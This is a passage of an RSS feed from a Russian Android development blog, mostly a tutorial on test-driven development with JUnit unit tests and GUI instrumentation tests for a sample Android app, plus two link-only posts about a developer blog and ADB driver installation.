<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>Android applications</title>
		<link>http://russia-android.ucoz.ru/</link>
		<description>Blog</description>
		<lastBuildDate>Wed, 11 Jan 2012 19:25:21 GMT</lastBuildDate>
		<generator>uCoz Web-Service</generator>
		<atom:link href="https://russia-android.ucoz.ru/blog/rss" rel="self" type="application/rss+xml" />
		
		<item>
			<title>Хороший блог одного из разработчиков.</title>
			<description>&lt;a href=&quot;http://http://developer.alexanderklimov.ru/android/books.php&quot;&gt;http://http://developer.alexanderklimov.ru/android/books.php&lt;/a&gt;</description>
			<content:encoded>&lt;a href=&quot;http://http://developer.alexanderklimov.ru/android/books.php&quot;&gt;http://http://developer.alexanderklimov.ru/android/books.php&lt;/a&gt;</content:encoded>
			<link>https://russia-android.ucoz.ru/blog/khoroshij_blog_odnogo_iz_razrabotchikov/2012-01-11-22</link>
			<dc:creator>linux777777</dc:creator>
			<guid>https://russia-android.ucoz.ru/blog/khoroshij_blog_odnogo_iz_razrabotchikov/2012-01-11-22</guid>
			<pubDate>Wed, 11 Jan 2012 19:25:21 GMT</pubDate>
		</item>
		<item>
			<title>Как установить ADB/USB драйвера для Android устройств</title>
			<description>&lt;a title=&quot;Исходный текст статьи&quot; href=&quot;http://forum.androidfan.ru/index.php?showtopic=5627&quot;&gt;http://forum.androidfan.ru/index.php?showtopic=5627&lt;/a&gt;&lt;br&gt;</description>
			<content:encoded>&lt;a title=&quot;Исходный текст статьи&quot; href=&quot;http://forum.androidfan.ru/index.php?showtopic=5627&quot;&gt;http://forum.androidfan.ru/index.php?showtopic=5627&lt;/a&gt;&lt;br&gt;</content:encoded>
			<link>https://russia-android.ucoz.ru/blog/kak_ustanovit_adb_usb_drajvera_dlja_android_ustrojstv/2012-01-09-21</link>
			<dc:creator>linux777777</dc:creator>
			<guid>https://russia-android.ucoz.ru/blog/kak_ustanovit_adb_usb_drajvera_dlja_android_ustrojstv/2012-01-09-21</guid>
			<pubDate>Mon, 09 Jan 2012 19:46:36 GMT</pubDate>
		</item>
		<item>
			<title>TDD и Android</title>
			<description>&lt;div&gt;&lt;font size=&quot;3&quot; style=&quot;font-size: 12pt; &quot;&gt;При разработке любого относительно сложного программного комплекса (особенно при разработке систем, выполняющих сложные расчеты) программист большую часть времени тратит не на написание программного кода, а на его отладку. О том, как потратить это время с пользой мы сегодня тебе расскажем.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;В отладке программного обеспечения действует так называемый принцип Парето — в данном случае он может быть сформулирован как &quot;На отладку 20%-ного кода уходит 80% общего времени отладки&quot;. Попробуем разобраться, почему так происходит. Предположим, существует программа, выполняющая некоторые расчеты. Также предположим, что в изначальной версии программы третий метод не был реализован (и, соответственно, не был учтен при проектировании архитектуры ПО).&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Однако в следующей версии программы понадобилось его добавить.&lt;/fo...</description>
			<content:encoded>&lt;div&gt;&lt;font size=&quot;3&quot; style=&quot;font-size: 12pt; &quot;&gt;При разработке любого относительно сложного программного комплекса (особенно при разработке систем, выполняющих сложные расчеты) программист большую часть времени тратит не на написание программного кода, а на его отладку. О том, как потратить это время с пользой мы сегодня тебе расскажем.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;В отладке программного обеспечения действует так называемый принцип Парето — в данном случае он может быть сформулирован как &quot;На отладку 20%-ного кода уходит 80% общего времени отладки&quot;. Попробуем разобраться, почему так происходит. Предположим, существует программа, выполняющая некоторые расчеты. Также предположим, что в изначальной версии программы третий метод не был реализован (и, соответственно, не был учтен при проектировании архитектуры ПО).&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Однако в следующей версии программы понадобилось его добавить.&lt;/font&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;font size=&quot;3&quot;&gt;&lt;!--IMG1--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/70622767.png&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s70622767.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Как видно из блок-схемы, третий метод очень трудно отлаживается, и в случае, если программист допустит ошибку, найти ее при отладке будет очень сложно, так как из-за условного оператора этот метод будет вызываться крайне редко. Одним из выходов может быть написание небольшой отдельной программы для тестирования этого метода. Однако он не профессионален и зачастую слишком сложен — к примеру, если этот метод зависит от других классов. Для того чтобы избежать таких проблем, следует использовать модульное тестирование.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Модульное тестирование (англ. unit testing) — один из методов тестирования программного обеспечения, при котором пишется отдельный набор тестов для каждого класса, состоящий из тестов для каждого метода, объявленного в тестируемом классе. Подобная техника заменяет большую часть отладки и значительно упрощает разработку приложения как на конечных, так и на начальных стадиях, потому что позволяет проверить все случаи поведения каждого метода тестируемого класса, что зачастую не представляется возможным при &quot;ручной&quot; отладке.&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;К примеру, если требуется перебрать все значения у аргумента функции типа int32, — у модульного теста это займет несколько минут, а тестировщик вряд ли вообще сможет справиться с этим заданием. Для еще большего упрощения и ускорения разработки рекомендуется использовать методологию разработки, называемую &quot;Разработка через тестирование&quot;. Разработка через тестирование, или TDD (англ. Test Driven Development), — один из видов экстремального программирования. Если в классических методах разработки сначала пишется программный код, а потом (при условии использования модульных тестов) — тесты, то в TDD сначала пишутся модульные тесты, и только потом тестируемые классы и методы реализуются в программном коде. Несмотря на то, что этот метод относится к экстремальному программированию, и, на первый взгляд, кажется абсурдным, он все чаще используется при разработке крупных программных продуктов.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Требования, предъявляемые к программному коду при разработке через тестирование&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Код должен быть разделен на как можно более мелкие части&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Должен выполняться принцип &quot;один тест — одно действие&quot;, то есть один test case не должен проверять правильность выполнения более чем одного действия. Инициализация объектов должна производиться вне тестов.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Желательно выполнение принципа &quot;один тест — один метод&quot;, то есть test case должен содержать 1-2 строки кода.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Должны быть соблюдены уровни абстракции классов программы, то есть логика программы не должна быть привязана к интерфейсу программы.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Преимущества разработки через тестирование&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Отделение логики программного продукта от интерфейса пользователя&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Как следствие из предыдущего пункта — упрощение процедуры повторного использования кода в других программных продуктах&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Упрощение отладки, поддержки и доработки программного кода за счет разделения его на небольшие части&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Меньшая вероятность неожиданного поведения программы&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Роберт Мартин, известный специалист в области экстремального программирования, предлагает использовать следующий алгоритм TDD: 1/Сначала нужно добиться, чтобы код хоть как-то работал, и только потом улучшать его&quot;. На практике эта рекомендация выглядит следующим образом:&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Написать модульный тест для какого-либо метода (на данный момент еще не реализованного). Вследствие того, что метод еще не реализован, тестовый проект даже не скомпилируется.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Написать &quot;заглушку&quot; для этого метода. К примеру, если метод должен возвращать переменную типа boolean, то он должен содержать только строку вида &quot;return false&quot; (в случае, если при правильном выполнении метода должен быть возвращен true), то есть заглушка должна возвращать такое значение, чтобы тест &quot;не проходил&quot;. Теперь тестовый проект компилируется, но тест по понятной причине не выполняется.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Реализовать метод алгоритмически правильно, но не пытаться улучшить его — требуется просто сделать &quot;чтобы работал&quot;. Убедиться, что все тесты проходят.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Усовершенствовать код — привести к наиболее удобочитаемому виду, разбить метод на более мелкие части. Убедиться, что все тесты проходят.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Перейти к реализации следующего метода.&lt;/font&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;font size=&quot;3&quot;&gt;&lt;!--IMG2--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/33618610.png&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s33618610.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG2--&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Когда не рекомендуется использовать модульные тесты?&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;В задачах, выполняющихся слишком долго. К примеру, метод, выполняющий запрос к БД, лучше исключить из списка тестируемых, потому что все тесты должны выполняться каждый раз при запуске тестирования, и если тест выполняется долго — программист будет стремиться отключить его. Если нужно протестировать метод, разбирающий ответ от БД, то лучше отделить этот метод непосредственно от запроса, и передавать ему заранее подготовленные &quot;фальшивые&quot; данные.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Как это выглядит на практике?&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;В качестве примера мы напишем приложение (и модульные тесты к нему) для ОС Android. Этот пример частично актуален не только для Android, но и для любой платформы, поддерживающей Java. Тестовое приложение будет принимать от пользователя массив точек и принимать решение, расставлены ли они в правильном порядке, возвращая true или false. Логика расстановки проясняется, если представить, что на первой точке написано, к примеру, &quot;1&quot;, на второй — &quot;2&quot;, на третьей — &quot;3&quot; и т.д.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Точки могут располагаться в ряд, в столбик или в смешанном порядке.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Для начала нужно создать проект для Android (подразумевается, что у тебя уже установлена среда разработки, к примеру, Eclipse, а также плагин ADT и Android SDK) и тестовый проект. Для того чтобы создать тестовый проект, нужно в диалоге создания проекта нажать кнопку &quot;Next&quot; и отметить чекбокс &quot;Create a test project&quot;.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Теперь можно приступить к написанию модульного теста. В тестировании Java-приложений стандартом де-факто считается JUnit. JUnit также включен в Android SDK, соответственно, тестирование приложений на Android производится именно при помощи этой библиотеки.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Тестирование логики&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Сначала создается TestSuite для проекта (его код модифицировать не нужно), а потом — TestCase для каждого класса. В нашем случае класс всего один, и в нем содержится всего один открытый метод (статический). Напишем два теста — первый будет передавать заведомо верный список точек, второй — заведомо неверный.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;public void testValidOrder()&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;{&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;List&lt;Point&amp;gt; points = new ArrayList&lt;Point&amp;gt;();&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;points.add(new Point(0, 0));&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;points.add(new Point(1, 0));&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;points.add(new Point(2, 0));&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;points.add(new Point(3, 0));&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;boolean result = Matrix.orderIsRight(points);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;assertTrue(result);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; }&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; public void testInvalidOrder()&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;{&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;List&lt;Point&amp;gt; points = new ArrayList&lt;Point&amp;gt;();&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;points.add(new Point(0, 0));&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;points.add(new Point(3, 0));&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;points.add(new Point(1, 0));&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;points.add(new Point(2, 0));&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;boolean result = Matrix.orderIsRight(points);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;assertFalse(result);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; }&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Прошу обратить внимание, что каждый тест должен начинаться со слова test, иначе он не будет распознан JUnit как… ну, в общем, как тест :). Чтобы запустить выполнение тестов, нужно нажать &lt;Ctrl&amp;gt; + &lt;F11&amp;gt;.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Однако тесты даже не запустятся, потому что класс Matrix не содержит метода orderIsRight(). Теперь следует написать заглушку для этого метода, состоящую из одной строчки: &quot;return false&quot;. Тесты запустятся, но их поведение будет немного странным: первый тест не будет пройден, а второй — будет. Сначала нужно добиться прохождения первого теста, и только потом браться (если, конечно, потребуется) за второй.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Реализуем метод orderIsRight() следующим образом:&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;public static boolean orderIsRight( &amp;nbsp;final List&lt;Point&amp;gt; pPoints)&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;{&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; Point firstPoint = pPoints.get(0);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; for (int i = 1; i &lt; pPoints.size(); i++)&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;{&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;final Point secondPoint = pPoints.get(i);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if (pointsAreInWrongOrder(fi rstPoint, &amp;nbsp;secondPoint)) {&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return false;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;firstPoint = secondPoint;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; }&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; return true;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; }&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Метод pointsAreInWrongOrder() — закрытый статический, состоящий из одной строки:&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;return (pFirstPoint.x &amp;gt;= pSecondPoint.x);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Нетрудно догадаться, что он возвращает true, если первая точка находится правее, чем вторая (либо перекрывает ее). Запускаем тесты — они проходят. Отлично, на этом тестирование логики приложения можно считать законченным. Теперь можно приступить к тестированию графического интерфейса.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Тестирование GUI&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Графический интерфейс — крайне важная часть любого ПО. Если пользователю не понравится GUI — он, скорее всего, не будет использовать программу, какая бы мощная &quot;начинка&quot; не содержалась внутри. Тестирование GUI должно быть не менее тщательным, чем тестирование логики программы, причем тестирование желательно максимально автоматизировать — только так можно покрыть наибольшее количество возможных вариантов действий пользователя. Конечно же, программист может протестировать интерфейс вручную, но здесь есть один нюанс. Дело в том, что программист тестирует приложение с точки зрения программиста, а не пользователя, и ему, в отличие от пользователя, может просто не прийти в голову, что можно ввести символьную строку в поле для ввода чисел.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;В Android SDK есть инструментарий для тестирования графического интерфейса, в который включен класс ActivityInstrumentationTestCa se2. Его следует наследовать при написании модульных тестов для GUI. Стоит обратить внимание на то, что ActivityInstrumentationTest Case2 — это шаблонный класс, т.е. использовать его следует в виде class MainActivityTest extends ActivityInstrumentationTestCase2&lt;Mai nActivity&amp;gt;.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Наше приложение содержит одну Activity (MainActivity), ее мы и будем тестировать. Как она выглядит, можно увидеть на рисунке на предыдущей странице.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp;Я использую отладку на устройстве с Android 2.3.4 через Wi-Fi. Кстати говоря, отладка по Wi-Fi очень удобна по сравнению с отладкой по кабелю и, тем более, в эмуляторе. Для того чтобы отлаживать приложения подобным образом, нужно установить виджет Adb over Wi-Fi из Android Market (подходит только для телефонов с правами root). После запуска нужно подключиться к устройству. Например, следующим образом:&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; adb connect 192.168.1.5:31337&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Тестирование GUI выглядит приблизительно так же, как и тестирование логики приложения. Создается класс, в нем создается метод setUp(), в котором инициализируются объекты. Объекты, представляющие Activity, поля для ввода текста и кнопку следует сделать закрытыми полями:&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; private Activity mActivity;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; private EditText mEditText1;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; private EditText mEditText2;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; private EditText mEditText3;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Инициализируются они следующим образом:&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; protected void setUp() throws Exception&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;{&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; super.setUp();&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; mActivity = getActivity();&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; mEditText1 = (EditText)mActivity.findViewById &amp;nbsp;(com.example.matrix.R.id.editTextLine1);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;...&amp;gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;mTextView = (Button)mActivity.findViewById(com.example.matrix.R.id.textView);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;}&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;В первую очередь нужно проверить, создались ли элементы интерфейса:&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; public void testControlsCreated()&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;{&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; assertNotNull(mActivity);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&amp;nbsp; assertNotNull(mEditText1);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;...&amp;gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;assertNotNull(mTextView);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;}&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size=&quot;3&quot;&gt;Этот тест проходит без ошибок, но лучше перестраховаться и выполнять его всегда — он может не проходить, если, к примеру, у какого-либо элемента неправильно задано какое-то свойство. В полях для ввода указываются координаты точки через пробел, а в textView появляется результат (OK или NOT OK).&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font 